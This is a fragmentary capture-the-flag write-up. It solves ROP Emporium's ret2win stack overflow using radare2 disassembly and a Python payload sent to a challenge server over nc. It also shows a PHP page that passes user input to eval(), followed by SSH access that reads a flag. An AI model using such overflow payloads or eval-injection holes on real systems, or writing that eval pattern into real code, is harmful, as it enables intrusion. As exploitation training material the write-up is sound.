

task2

```
0000000000400528 T __init
0000000000600e18 d __init_array_end
0000000000600e10 d __init_array_start
0000000000400800 R _IO_stdin_used
0000000000400780 T __libc_csu_init
0000000000000000 U __libc_start@GLIBC_2.2.5
0000000000000000 U memset@GLIBC_2.2.5
0000000000000000 U printf@GLIBC_2.2.5
0000000000000000 U puts@GLIBC_2.2.5
000000000004006e8 t pwnme
00000000000400620 t register_tm_clones
00000000000400756 t ret2win
0000000000000000 U setvbuf@GLIBC_2.2.5
000000000004005b0 T _start
0000000000601058 B stdout@GLIBC_2.2.5
0000000000000000 U system@GLIBC_2.2.5
```

```
$ radare ret2win
$ aaa
$ afl
$ s sym.ret2win
$ pdf
```

```

27: sym.ret2win ();
    0x00400756    55                push rbp
    0x00400757    4889e5            mov rbp, rsp
    0x0040075a    bf26094000        mov edi, str.Well_done__Heres_your_flag; ; 0x400926 ; "We
ll done! Here's your flag:" ; const char *s
    0x0040075f    e8ecfdffff        call sym.imp.puts          ; int puts(const char *s)
    0x00400764    bf43094000        mov edi, str._bin_cat_flag.txt ; 0x400943 ; "/bin/cat fla
g.txt" ; const char *string
    0x00400769    e8f2fdffff        call sym.imp.system        ; int system(const char *stri
ng)
    0x0040076e    90                nop
    0x0040076f    5d                pop rbp
    0x00400770    c3                ret

```

```
ret2win by ROP Emporium
x86_64

For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!
```

```
0000000a00000756 s
```

So I should fully overwrite it.

The result is as follows:

In the local :

```
(kali㉿kali)-[~/Desktop/ret2win]
$ python -c "print 'B'*40+'\x56\x07\x40\x00\x00\x00\x00\x00'" >input
(kali㉿kali)-[~/Desktop/ret2win]
$ ./ret2win <input
ret2win by ROP Emporium
x86_64

For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!

> Thank you!
Well done! Here's your flag:
ROPE{a_placeholder_32byte_flag!}
zsh: illegal hardware instruction ./ret2win < input
```

Final flag:

```
(kali㉿kali)-[~/Desktop/ret2win]
$ nc 103.102.44.218 10001 <input
ret2win by ROP Emporium
x86_64

For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!

> Thank you!
flag{now_you_have_the_flag!}
```

flag{now_you_have_the_flag!}

task2

← → ↺ ⚠ 不安全 | 103.102.44.218:20000

```
<?php
if (!empty($_GET['number'])) {
    $number = $_GET['number'];
    $is_numeric = (is_numeric($number) ? "a number" : "not a number");
    print eval("print '$number is $is_numeric';");
} else {
    highlight_file(__FILE__);
}
```

```
C:\Users\联想\Desktop>ssh ctf@103.102.44.218 -p 30000
ctf@103.102.44.218's password:
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-89-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Tue Dec  7 00:52:53 2021 from 116.6.234.184
$ _
```

```
Last login: Tue Dec  7 00:52:53 2021 from 116.6.234.184
$ cat /var/flag/flag.txt
flag{test_flag}$
```